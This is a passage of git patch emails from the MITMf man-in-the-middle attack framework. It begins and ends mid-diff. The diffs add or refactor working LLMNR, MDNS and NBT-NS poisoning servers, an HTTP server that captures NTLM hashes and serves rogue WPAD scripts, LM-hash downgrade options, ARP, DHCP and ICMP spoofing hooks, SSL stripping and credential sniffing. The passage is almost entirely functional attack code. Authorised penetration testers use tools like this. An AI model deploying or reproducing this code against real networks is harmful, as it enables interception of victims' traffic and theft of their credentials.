core.utils import shutdown - -class SMBserver(ConfigWatcher): - - __shared_state = {} - - def __init__(self): - self.__dict__ = self.__shared_state - - self.version = version.VER_MINOR - self.mode = self.config["MITMf"]["SMB"]["mode"].lower() - self.challenge = self.config["MITMf"]["SMB"]["Challenge"] - self.port = int(self.config["MITMf"]["SMB"]["port"]) - - def server(self): - try: - if self.mode == 'normal': - - formatter = logging.Formatter("%(asctime)s [SMB] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") - self.conf_impacket_logger(formatter) - - server = smbserver.SimpleSMBServer(listenPort=self.port) - - for share in self.config["MITMf"]["SMB"]["Shares"]: - path = self.config["MITMf"]["SMB"]["Shares"][share]['path'] - readonly = self.config["MITMf"]["SMB"]["Shares"][share]['readonly'].lower() - server.addShare(share.upper(), path, readOnly=readonly) - - server.setSMBChallenge(self.challenge) - server.setLogFile('') - - elif self.mode == 'karma': - - formatter = logging.Formatter("%(asctime)s [KarmaSMB] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") - self.conf_impacket_logger(formatter) - - server = KarmaSMBServer(self.challenge, self.port) - server.defaultFile = self.config["MITMf"]["SMB"]["Karma"]["defaultfile"] - - for extension, path in self.config["MITMf"]["SMB"]["Karma"].iteritems(): - server.extensions[extension.upper()] = os.path.normpath(path) - - else: - shutdown("\n[-] Invalid SMB server type specified in config file!") - - return server - - except socketerror as e: - if "Address already in use" in e: - shutdown("\n[-] Unable to start SMB server on port {}: port already in use".format(self.port)) - - def conf_impacket_logger(self, formatter): - - LOG.setLevel(logging.INFO) - LOG.propagate = False - - fileHandler = logging.FileHandler("./logs/mitmf.log") - streamHandler = logging.StreamHandler(sys.stdout) - fileHandler.setFormatter(formatter) - streamHandler.setFormatter(formatter) - LOG.addHandler(fileHandler) - LOG.addHandler(streamHandler) - - def start(self): - t = threading.Thread(name='SMBserver', target=self.server().start) - t.setDaemon(True) - t.start() diff --git a/core/servers/smb/__init__.py b/core/servers/smb/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/core/sslstrip/ClientRequest.py b/core/sslstrip/ClientRequest.py index 681e15a..3ed9a11 100644 --- a/core/sslstrip/ClientRequest.py +++ b/core/sslstrip/ClientRequest.py @@ -202,16 +202,17 @@ class ClientRequest(Request): return reactor.resolve(host) def process(self): - log.debug("Resolving host: {}".format(self.getHeader('host'))) - host = self.getHeader('host').split(":")[0] + if self.getHeader('host') is not None: + log.debug("Resolving host: {}".format(self.getHeader('host'))) + host = self.getHeader('host').split(":")[0] - if self.hsts: - host = self.urlMonitor.URLgetRealHost(str(host)) + if self.hsts: + host = self.urlMonitor.URLgetRealHost(str(host)) + + deferred = self.resolveHost(host) + deferred.addCallback(self.handleHostResolvedSuccess) + deferred.addErrback(self.handleHostResolvedError) - deferred = self.resolveHost(host) - deferred.addCallback(self.handleHostResolvedSuccess) - deferred.addErrback(self.handleHostResolvedError) - def proxyViaHTTP(self, host, method, path, postData, headers, port): connectionFactory = ServerConnectionFactory(method, path, postData, headers, self) connectionFactory.protocol = ServerConnection diff --git a/core/sslstrip/ServerConnection.py b/core/sslstrip/ServerConnection.py index 3051696..a9a7588 100644 --- a/core/sslstrip/ServerConnection.py +++ b/core/sslstrip/ServerConnection.py @@ -28,7 +28,7 @@ import sys from mitmflib.user_agents import parse from twisted.web.http import HTTPClient from URLMonitor import URLMonitor -from core.sergioproxy.ProxyPlugins import ProxyPlugins +from core.proxyplugins import ProxyPlugins from core.logger import logger formatter = logging.Formatter("%(asctime)s %(clientip)s [type:%(browser)s-%(browserv)s os:%(clientos)s] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") diff --git a/core/utils.py b/core/utils.py index d5ca410..e63862f 100644 --- a/core/utils.py +++ b/core/utils.py @@ -23,7 +23,7 @@ import sys from commands import getstatusoutput from core.logger import logger -from core.sergioproxy.ProxyPlugins import ProxyPlugins +from core.proxyplugins import ProxyPlugins from scapy.all import get_if_addr, get_if_hwaddr, get_working_if formatter = logging.Formatter("%(asctime)s [Utils] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") @@ -105,4 +105,4 @@ class iptables: def NFQUEUE(self): log.debug("Setting iptables NFQUEUE rule") os.system('iptables -t nat -A PREROUTING -j NFQUEUE --queue-num 1') - self.nfqueue = True + self.nfqueue = True \ No newline at end of file diff --git a/mitmf.py b/mitmf.py index 5f8e0a8..cc4bb5b 100755 --- a/mitmf.py +++ b/mitmf.py @@ -22,13 +22,12 @@ import logging logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy logging.getLogger("requests").setLevel(logging.WARNING) #Disables "Starting new HTTP Connection (1)" log message logging.getLogger("mitmflib.watchdog").setLevel(logging.ERROR) #Disables watchdog's debug messages -logging.getLogger('mitmflib.smbserver').setLevel(logging.INFO) -logging.getLogger('mitmflib.impacket').setLevel(logging.INFO) import argparse import sys import os import threading +import core.responder.settings as settings from twisted.web import http from twisted.internet import reactor @@ -46,7 +45,7 @@ if os.geteuid() != 0: parser = argparse.ArgumentParser(description="MITMf v{} - '{}'".format(mitmf_version, mitmf_codename), version="{} - '{}'".format(mitmf_version, mitmf_codename), - usage='mitmf.py [-i interface] [mitmf options] [plugin name] [plugin options]', + usage='mitmf.py -i interface [mitmf options] [plugin name] [plugin options]', epilog="Use wisely, young Padawan.") #add MITMf options @@ -73,14 +72,14 @@ options = parser.parse_args() logger().log_level = logging.__dict__[options.log_level.upper()] #Check to see if we supplied a valid interface, pass the IP and MAC to the NameSpace object -from core.utils import get_iface, get_ip, get_mac, shutdown -if not options.interface: - options.interface = get_iface() +from core.utils import get_ip, get_mac, shutdown options.ip = get_ip(options.interface) options.mac = get_mac(options.interface) +settings.Config.populate(options) + from core.sslstrip.CookieCleaner import CookieCleaner -from core.sergioproxy.ProxyPlugins import ProxyPlugins +from core.proxyplugins import ProxyPlugins from core.sslstrip.StrippingProxy import StrippingProxy from core.sslstrip.URLMonitor import URLMonitor @@ -92,6 +91,7 @@ strippingFactory = http.HTTPFactory(timeout=10) strippingFactory.protocol = StrippingProxy reactor.listenTCP(options.listen_port, strippingFactory) +reactor.listenTCP(3141, strippingFactory) ProxyPlugins().all_plugins = plugins @@ -124,42 +124,42 @@ print "|_ SSLstrip v0.9 by Moxie Marlinspike online" print "|" if options.filter: - from core.packetparser import PacketParser - pparser = PacketParser(options.filter) - pparser.start() - print "|_ PacketParser online" + from core.packetfilter import PacketFilter + pfilter = PacketFilter(options.filter) + pfilter.start() + print "|_ PacketFilter online" print "| |_ Applying filter {} to incoming packets".format(options.filter) #Start mitmf-api -from core.mitmfapi import mitmfapi -print "|_ MITMf-API online" -mitmfapi().start() +#from core.mitmfapi import mitmfapi +#print "|_ MITMf-API online" +#mitmfapi().start() #Start Net-Creds -from core.netcreds.NetCreds import NetCreds +from core.netcreds import NetCreds NetCreds().start(options.interface, options.ip) print "|_ Net-Creds v{} online".format(NetCreds.version) #Start the HTTP Server -from core.servers.http.HTTPserver import HTTPserver -HTTPserver().start() -print "|_ HTTP server online" +#from core.servers.HTTP import HTTP +#HTTPserver().start() +#print "|_ HTTP server online" #Start DNSChef -from core.servers.dns.DNSchef import DNSChef +from core.servers.DNS import DNSChef DNSChef().start() print "|_ DNSChef v{} online".format(DNSChef.version) #Start the SMB server -from core.servers.smb.SMBserver import SMBserver -SMBserver().start() -print "|_ SMB server online [Mode: {}] (Impacket {}) \n".format(SMBserver().mode, SMBserver().version) +from core.servers.SMB import SMB +SMB().start() +print "|_ SMB server online\n" #start the reactor reactor.run() print "\n" if options.filter: - pparser.stop() + pfilter.stop() shutdown() \ No newline at end of file diff --git a/plugins/responder.py b/plugins/responder.py deleted file mode 100644 index a4a6a14..0000000 --- a/plugins/responder.py +++ /dev/null @@ -1,138 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# -import flask - -from plugins.plugin import Plugin -from twisted.internet import reactor - -class Responder(Plugin): - name = "Responder" - optname = "responder" - desc = "Poison LLMNR, NBT-NS and MDNS requests" - tree_info = ["NBT-NS, LLMNR & MDNS Responder v2.1.2 by Laurent Gaffie online"] - version = "0.2" - - def initialize(self, options): - '''Called if plugin is enabled, passed the options namespace''' - self.options = options - self.interface = options.interface - self.ip = options.ip - - try: - config = self.config['Responder'] - smbChal = self.config['MITMf']['SMB']['Challenge'] - except Exception as e: - shutdown('[-] Error parsing config for Responder: ' + str(e)) - - from core.responder.llmnr.LLMNRpoisoner import LLMNRpoisoner - from core.responder.mdns.MDNSpoisoner import MDNSpoisoner - from core.responder.nbtns.NBTNSpoisoner import NBTNSpoisoner - from core.responder.fingerprinter.LANfingerprinter import LANfingerprinter - - LANfingerprinter().start(options) - MDNSpoisoner().start(options, options.ip) - NBTNSpoisoner().start(options, options.ip) - LLMNRpoisoner().start(options, options.ip) - - if options.wpad: - from core.servers.http.HTTPserver import HTTPserver - def wpad_request(path): - if (path == 'wpad.dat') or (path.endswith('.pac')): - payload = self.config['Responder']['WPADScript'] - - resp = flask.Response(payload) - resp.headers['Server'] = "Microsoft-IIS/6.0" - resp.headers['Content-Type'] = "application/x-ns-proxy-autoconfig" - resp.headers['X-Powered-By'] = "ASP.NET" - resp.headers['Content-Length'] = len(payload) - - return resp - - HTTPserver().add_endpoint(wpad_request) - - if self.config["Responder"]["MSSQL"].lower() == "on": - from core.responder.mssql.MSSQLserver import MSSQLserver - MSSQLserver().start(smbChal) - - if self.config["Responder"]["Kerberos"].lower() == "on": - from core.responder.kerberos.KERBserver import KERBserver - KERBserver().start() - - if self.config["Responder"]["FTP"].lower() == "on": - from core.responder.ftp.FTPserver import FTPserver - FTPserver().start() - - if self.config["Responder"]["POP"].lower() == "on": - from core.responder.pop3.POP3server import POP3server - POP3server().start() - - if self.config["Responder"]["SMTP"].lower() == "on": - from core.responder.smtp.SMTPserver import SMTPserver - SMTPserver().start() - - if self.config["Responder"]["IMAP"].lower() == "on": - from core.responder.imap.IMAPserver import IMAPserver - IMAPserver().start() - - if self.config["Responder"]["LDAP"].lower() == "on": - from core.responder.ldap.LDAPserver import LDAPserver - LDAPserver().start(smbChal) - - if options.analyze: - self.tree_info.append("Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned") - self.IsICMPRedirectPlausible(options.ip) - - def IsICMPRedirectPlausible(self, IP): - result = [] - dnsip = [] - for line in file('/etc/resolv.conf', 'r'): - ip = line.split() - if len(ip) < 2: - continue - if ip[0] == 'nameserver': - dnsip.extend(ip[1:]) - - for x in dnsip: - if x !="127.0.0.1" and self.IsOnTheSameSubnet(x,IP) == False: - self.tree_info.append("You can ICMP Redirect on this network. This workstation ({}) is not on the same subnet than the DNS server ({})".format(IP, x)) - else: - pass - - def IsOnTheSameSubnet(self, ip, net): - net = net+'/24' - ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16) - netstr, bits = net.split('/') - netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16) - mask = (0xffffffff << (32 - int(bits))) & 0xffffffff - return (ipaddr & mask) == (netaddr & mask) - - def reactor(self, strippingFactory): - reactor.listenTCP(3141, strippingFactory) - - def options(self, options): - options.add_argument('--analyze', dest="analyze", action="store_true", help="Allows you to see NBT-NS, BROWSER, LLMNR requests without poisoning") - options.add_argument('--wredir', dest="wredir", default=False, action="store_true", help="Enables answers for netbios wredir suffix queries") - options.add_argument('--nbtns', dest="nbtns", default=False, action="store_true", help="Enables answers for netbios domain suffix queries") - options.add_argument('--fingerprint', dest="finger", default=False, action="store_true", help = "Fingerprint hosts that issued an NBT-NS or LLMNR query") - options.add_argument('--lm', dest="lm", default=False, action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier") - options.add_argument('--wpad', dest="wpad", default=False, action="store_true", help = "Start the WPAD rogue proxy server") - # Removed these options until I find a better way of implementing them - #options.add_argument('--forcewpadauth', dest="forceWpadAuth", default=False, action="store_true", help = "Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False") - #options.add_argument('--basic', dest="basic", default=False, action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned") diff --git a/plugins/spoof.py b/plugins/spoof.py index f36cd9a..637d7d7 100644 --- a/plugins/spoof.py +++ b/plugins/spoof.py @@ -37,14 +37,14 @@ class Spoof(Plugin): if not options.gateway: shutdown("[Spoof] --arp argument requires --gateway") - from core.poisoners.arp.ARPpoisoner import ARPpoisoner + from core.poisoners.ARP import ARPpoisoner arp = ARPpoisoner(options) arp.debug = debug self.tree_info.append('ARP spoofing enabled') self.protocol_instances.append(arp) elif options.dhcp: - from core.poisoners.dhcp.DHCPpoisoner import DHCPpoisoner + from core.poisoners.DHCP import DHCPpoisoner if options.targets: shutdown("[Spoof] --targets argument invalid when DCHP spoofing") @@ -55,7 +55,7 @@ class Spoof(Plugin): self.protocol_instances.append(dhcp) elif options.icmp: - from core.poisoners.icmp.ICMPpoisoner import ICMPpoisoner + from core.poisoners.ICMP import ICMPpoisoner if not options.gateway: shutdown("[Spoof] --icmp argument requires --gateway") @@ -69,8 +69,6 @@ class Spoof(Plugin): self.protocol_instances.append(icmp) if options.dns: - from core.servers.dns.DNSchef import DNSChef - self.tree_info.append('DNS spoofing enabled') if iptables().dns is False: iptables().DNS(self.config['MITMf']['DNS']['port']) From 703c9045edb9a8fded65f9d670121e247b824055 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sun, 2 Aug 2015 21:23:35 +0200 Subject: [PATCH 236/323] Fixes #144 --- plugins/screenshotter.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/plugins/screenshotter.py b/plugins/screenshotter.py index 9a7f783..cd69328 100644 --- a/plugins/screenshotter.py +++ b/plugins/screenshotter.py @@ -34,8 +34,8 @@ class ScreenShotter(Inject, Plugin): def initialize(self, options): Inject.initialize(self, options) - self.js_payload = self.get_payload() self.interval = options.interval + self.js_payload = self.get_payload() def request(self, request): if 'saveshot' in request.uri: From 8b55a2e3f5d8599bb20977947058a34bb33b5090 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sun, 2 Aug 2015 22:52:09 +0200 Subject: [PATCH 237/323] Second pass: MDNS, LLMNR and NBTNS poisoners are back online HTTP server now functional --- core/poisoners/LLMNR.py | 138 +++++++++++++++++++++++-------------- core/poisoners/MDNS.py | 43 ++++++++++-- core/poisoners/NBTNS.py | 38 ++++++++-- core/responder/settings.py | 24 +++---- core/servers/HTTP.py | 35 +++++++++- mitmf.py | 7 +- plugins/responder.py | 57 +++++++++++++++ plugins/screenshotter.py | 2 +- 8 files changed, 259 insertions(+), 85 deletions(-) create mode 100644 plugins/responder.py diff --git a/core/poisoners/LLMNR.py b/core/poisoners/LLMNR.py index 930593e..50f0754 100644 --- a/core/poisoners/LLMNR.py +++ b/core/poisoners/LLMNR.py @@ -16,79 +16,111 @@ # along with this program. If not, see . import socket import struct -import core.responder.settings -import core.responder.fingerprint +import core.responder.settings as settings +import core.responder.fingerprint as fingerprint +import threading -from core.reponder.packets import LLMNR_Ans +from traceback import print_exc +from core.responder.packets import LLMNR_Ans from core.responder.odict import OrderedDict -from SocketServer import BaseRequestHandler +from SocketServer import BaseRequestHandler, ThreadingMixIn, UDPServer from core.responder.utils import * +class LLMNR: + + def start(self): + try: + server = ThreadingUDPLLMNRServer(('', 5355), LLMNRServer) + t = threading.Thread(name='LLMNR', target=server.serve_forever) + t.setDaemon(True) + t.start() + except Exception as e: + print "Error starting LLMNR server on port 5355" + print_exc() + +class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer): + + allow_reuse_address = 1 + + def server_bind(self): + MADDR = "224.0.0.252" + + self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) + self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255) + + Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + settings.Config.IP_aton) + + if OsInterfaceIsSupported(): + try: + self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0') + except: + pass + UDPServer.server_bind(self) def Parse_LLMNR_Name(data): - NameLen = struct.unpack('>B',data[12])[0] - Name = data[13:13+NameLen] - return Name + NameLen = struct.unpack('>B',data[12])[0] + Name = data[13:13+NameLen] + return Name def IsOnTheSameSubnet(ip, net): - net = net+'/24' - ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16) - netstr, bits = net.split('/') - netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16) - mask = (0xffffffff << (32 - int(bits))) & 0xffffffff - return (ipaddr & mask) == (netaddr & mask) + net = net+'/24' + ipaddr = int(''.join([ '%02x' % int(x) for x in ip.split('.') ]), 16) + netstr, bits = net.split('/') + netaddr = int(''.join([ '%02x' % int(x) for x in netstr.split('.') ]), 16) + mask = (0xffffffff << (32 - int(bits))) & 0xffffffff + return (ipaddr & mask) == (netaddr & mask) def IsICMPRedirectPlausible(IP): - dnsip = [] - for line in file('/etc/resolv.conf', 'r'): - ip = line.split() - if len(ip) < 2: - continue - if ip[0] == 'nameserver': - dnsip.extend(ip[1:]) - for x in dnsip: - if x !="127.0.0.1" and IsOnTheSameSubnet(x,IP) == False: - print color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5) - print color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5) - print color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5) - else: - pass + dnsip = [] + for line in file('/etc/resolv.conf', 'r'): + ip = line.split() + if len(ip) < 2: + continue + if ip[0] == 'nameserver': + dnsip.extend(ip[1:]) + for x in dnsip: + if x !="127.0.0.1" and IsOnTheSameSubnet(x,IP) == False: + print color("[Analyze mode: ICMP] You can ICMP Redirect on this network.", 5) + print color("[Analyze mode: ICMP] This workstation (%s) is not on the same subnet than the DNS server (%s)." % (IP, x), 5) + print color("[Analyze mode: ICMP] Use `python tools/Icmp-Redirect.py` for more details.", 5) + else: + pass if settings.Config.AnalyzeMode: - IsICMPRedirectPlausible(settings.Config.Bind_To) + IsICMPRedirectPlausible(settings.Config.Bind_To) # LLMNR Server class class LLMNRServer(BaseRequestHandler): - def handle(self): - data, soc = self.request - Name = Parse_LLMNR_Name(data) + def handle(self): + data, soc = self.request + Name = Parse_LLMNR_Name(data) - # Break out if we don't want to respond to this host - if RespondToThisHost(self.client_address[0], Name) is not True: - return None + # Break out if we don't want to respond to this host + if RespondToThisHost(self.client_address[0], Name) is not True: + return None - if data[2:4] == "\x00\x00" and Parse_IPV6_Addr(data): + if data[2:4] == "\x00\x00" and Parse_IPV6_Addr(data): - if settings.Config.Finger_On_Off: - Finger = fingerprint.RunSmbFinger((self.client_address[0], 445)) - else: - Finger = None + if settings.Config.Finger_On_Off: + Finger = fingerprint.RunSmbFinger((self.client_address[0], 445)) + else: + Finger = None - # Analyze Mode - if settings.Config.AnalyzeMode: - LineHeader = "[Analyze mode: LLMNR]" - print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1) + # Analyze Mode + if settings.Config.AnalyzeMode: + LineHeader = "[Analyze mode: LLMNR]" + print color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1) - # Poisoning Mode - else: - Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name) - Buffer.calculate() - soc.sendto(str(Buffer), self.client_address) - LineHeader = "[*] [LLMNR]" + # Poisoning Mode + else: + Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name) + Buffer.calculate() + soc.sendto(str(Buffer), self.client_address) + LineHeader = "[*] [LLMNR]" - print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1) + print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1) - if Finger is not None: - print text("[FINGER] OS Version : %s" % color(Finger[0], 3)) - print text("[FINGER] Client Version : %s" % color(Finger[1], 3)) + if Finger is not None: + print text("[FINGER] OS Version : %s" % color(Finger[0], 3)) + print text("[FINGER] Client Version : %s" % color(Finger[1], 3)) diff --git a/core/poisoners/MDNS.py b/core/poisoners/MDNS.py index 959ac43..a81ef6e 100644 --- a/core/poisoners/MDNS.py +++ b/core/poisoners/MDNS.py @@ -15,12 +15,45 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . import struct -import settings +import core.responder.settings as settings import socket +import threading -from SocketServer import BaseRequestHandler -from packets import MDNS_Ans -from utils import * +from traceback import print_exc +from SocketServer import BaseRequestHandler, ThreadingMixIn, UDPServer +from core.responder.packets import MDNS_Ans +from core.responder.utils import * + +class MDNS: + + def start(self): + try: + server = ThreadingUDPMDNSServer(('', 5353), MDNSServer) + t = threading.Thread(name='MDNS', target=server.serve_forever) + t.setDaemon(True) + t.start() + except Exception as e: + print "Error starting MDNS server on port 5353" + print_exc() + +class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer): + + allow_reuse_address = 1 + + def server_bind(self): + MADDR = "224.0.0.251" + + self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1) + self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255) + + Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP, socket.inet_aton(MADDR) + settings.Config.IP_aton) + + if OsInterfaceIsSupported(): + try: + self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0') + except: + pass + UDPServer.server_bind(self) def Parse_MDNS_Name(data): data = data[12:] @@ -35,7 +68,7 @@ def Poisoned_MDNS_Name(data): Name = data[:len(data)-5] return Name -class MDNS(BaseRequestHandler): +class MDNSServer(BaseRequestHandler): def handle(self): diff --git a/core/poisoners/NBTNS.py b/core/poisoners/NBTNS.py index 0d550ec..652ca42 100644 --- a/core/poisoners/NBTNS.py +++ b/core/poisoners/NBTNS.py @@ -15,12 +15,38 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . import socket -import settings -import fingerprint +import threading +import core.responder.settings as settings +import core.responder.fingerprint as fingerprint -from packets import NBT_Ans -from SocketServer import BaseRequestHandler -from utils import * +from traceback import print_exc +from core.responder.packets import NBT_Ans +from SocketServer import BaseRequestHandler, ThreadingMixIn, UDPServer +from core.responder.utils import * + +class NBTNS: + + def start(self): + try: + server = ThreadingUDPServer(('', 137), NBTNSServer) + t = threading.Thread(name='NBTNS', target=server.serve_forever) + t.setDaemon(True) + t.start() + except Exception as e: + print "Error starting NBTNS server on port 137" + print_exec() + +class ThreadingUDPServer(ThreadingMixIn, UDPServer): + + allow_reuse_address = 1 + + def server_bind(self): + if OsInterfaceIsSupported(): + try: + self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0') + except: + pass + UDPServer.server_bind(self) # Define what are we answering to. def Validate_NBT_NS(data): @@ -42,7 +68,7 @@ def Validate_NBT_NS(data): return False # NBT_NS Server class. -class NBTNS(BaseRequestHandler): +class NBTNSServer(BaseRequestHandler): def handle(self): diff --git a/core/responder/settings.py b/core/responder/settings.py index 1e25708..2d9b51a 100644 --- a/core/responder/settings.py +++ b/core/responder/settings.py @@ -136,21 +136,17 @@ class Settings(ConfigWatcher): # CLI options self.Interface = options.interface + self.Force_WPAD_Auth = options.forcewpadauth + self.LM_On_Off = options.lm + self.WPAD_On_Off = options.wpad + self.Wredirect = options.wredir + self.NBTNSDomain = options.nbtns + self.Basic = options.basic + self.Finger_On_Off = options.finger + self.AnalyzeMode = options.analyze + #self.Upstream_Proxy = options.Upstream_Proxy - try: - self.LM_On_Off = options.LM_On_Off - self.WPAD_On_Off = options.WPAD_On_Off - self.Wredirect = options.Wredirect - self.NBTNSDomain = options.NBTNSDomain - self.Basic = options.Basic - self.Finger_On_Off = options.Finger - self.Force_WPAD_Auth = options.Force_WPAD_Auth - self.Upstream_Proxy = options.Upstream_Proxy - self.AnalyzeMode = options.Analyze - except AttributeError: - pass - - self.Verbose = False + self.Verbose = True self.CommandLine = str(sys.argv) self.Bind_To = utils.FindLocalIP(self.Interface) diff --git a/core/servers/HTTP.py b/core/servers/HTTP.py index 6a71471..ade76cf 100644 --- a/core/servers/HTTP.py +++ b/core/servers/HTTP.py @@ -16,7 +16,9 @@ # along with this program. If not, see . import os import struct -import core.responder.settings +import core.responder.settings as settings +import threading +from traceback import print_exc from SocketServer import BaseServer, BaseRequestHandler, StreamRequestHandler, ThreadingMixIn, TCPServer from base64 import b64decode, b64encode @@ -26,6 +28,34 @@ from core.responder.packets import NTLM_Challenge from core.responder.packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans from core.responder.packets import WPADScript, ServeExeFile, ServeHtmlFile +class HTTP: + + def start(self): + try: + if OsInterfaceIsSupported(): + server = ThreadingTCPServer((settings.Config.Bind_To, 80), HTTP1) + else: + server = ThreadingTCPServer(('', 80), HTTP1) + + t = threading.Thread(name='SMB', target=server.serve_forever) + t.setDaemon(True) + t.start() + + except Exception as e: + print "Error starting HTTP server: {}".format(e) + print_exc() + +class ThreadingTCPServer(ThreadingMixIn, TCPServer): + + allow_reuse_address = 1 + + def server_bind(self): + if OsInterfaceIsSupported(): + try: + self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Bind_To+'\0') + except: + pass + TCPServer.server_bind(self) # Parse NTLMv1/v2 hash. def ParseHTTPHash(data, client): @@ -222,13 +252,14 @@ def PacketSequence(data, client): return str(Response) # HTTP Server class -class HTTP(BaseRequestHandler): +class HTTP1(BaseRequestHandler): def handle(self): try: while True: self.request.settimeout(1) data = self.request.recv(8092) + GrabURL(data, self.client_address[0]) Buffer = WpadCustom(data, self.client_address[0]) if Buffer and settings.Config.Force_WPAD_Auth == False: diff --git a/mitmf.py b/mitmf.py index cc4bb5b..a6b3482 100755 --- a/mitmf.py +++ b/mitmf.py @@ -91,7 +91,6 @@ strippingFactory = http.HTTPFactory(timeout=10) strippingFactory.protocol = StrippingProxy reactor.listenTCP(options.listen_port, strippingFactory) -reactor.listenTCP(3141, strippingFactory) ProxyPlugins().all_plugins = plugins @@ -141,9 +140,9 @@ NetCreds().start(options.interface, options.ip) print "|_ Net-Creds v{} online".format(NetCreds.version) #Start the HTTP Server -#from core.servers.HTTP import HTTP -#HTTPserver().start() -#print "|_ HTTP server online" +from core.servers.HTTP import HTTP +HTTP().start() +print "|_ HTTP server online" #Start DNSChef from core.servers.DNS import DNSChef diff --git a/plugins/responder.py b/plugins/responder.py new file mode 100644 index 0000000..73a01db --- /dev/null +++ b/plugins/responder.py @@ -0,0 +1,57 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# +import flask + +from plugins.plugin import Plugin +from twisted.internet import reactor + +class Responder(Plugin): + name = "Responder" + optname = "responder" + desc = "Poison LLMNR, NBT-NS and MDNS requests" + tree_info = ["NBT-NS, LLMNR & MDNS Responder v2.1.2 by Laurent Gaffie online"] + version = "0.2" + + def initialize(self, options): + '''Called if plugin is enabled, passed the options namespace''' + self.options = options + self.interface = options.interface + self.ip = options.ip + + # Load (M)DNS, NBNS and LLMNR Poisoners + from core.poisoners.LLMNR import LLMNR + from core.poisoners.MDNS import MDNS + from core.poisoners.NBTNS import NBTNS + LLMNR().start() + MDNS().start() + NBTNS().start() + + def reactor(self, strippingFactory): + reactor.listenTCP(3141, strippingFactory) + + def options(self, options): + options.add_argument('--analyze', dest="analyze",action="store_true", help="Allows you to see NBT-NS, BROWSER, LLMNR requests without poisoning") + options.add_argument('--wredir', dest="wredir", action="store_true", help="Enables answers for netbios wredir suffix queries") + options.add_argument('--nbtns', dest="nbtns", action="store_true", help="Enables answers for netbios domain suffix queries") + options.add_argument('--fingerprint', dest="finger", action="store_true", help="Fingerprint hosts that issued an NBT-NS or LLMNR query") + options.add_argument('--lm', dest="lm", action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier") + options.add_argument('--wpad', dest="wpad", action="store_true", help="Start the WPAD rogue proxy server") + options.add_argument('--forcewpadauth', dest="forcewpadauth", action="store_true", help="Set this if you want to force NTLM/Basic authentication on wpad.dat file retrieval. This might cause a login prompt in some specific cases. Therefore, default value is False") + options.add_argument('--basic', dest="basic", action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned") diff --git a/plugins/screenshotter.py b/plugins/screenshotter.py index 9a7f783..cd69328 100644 --- a/plugins/screenshotter.py +++ b/plugins/screenshotter.py @@ -34,8 +34,8 @@ class 